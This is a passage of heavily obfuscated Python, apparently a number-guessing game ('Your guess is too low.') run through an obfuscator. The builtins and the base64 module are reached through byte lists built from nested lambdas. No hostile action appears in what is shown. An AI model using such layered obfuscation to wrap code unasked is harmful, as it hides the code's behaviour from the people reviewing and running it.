1)]).decode('utf-8')))).b64decode(b'cHJpbnQ=').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))](__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'WW91ciBndWVzcyBpcyB0b28gbG93Lg==').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))) + if __5595505105__ > __3620605820__: + __builtins__.__dict__[__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'cHJpbnQ=').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))](__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 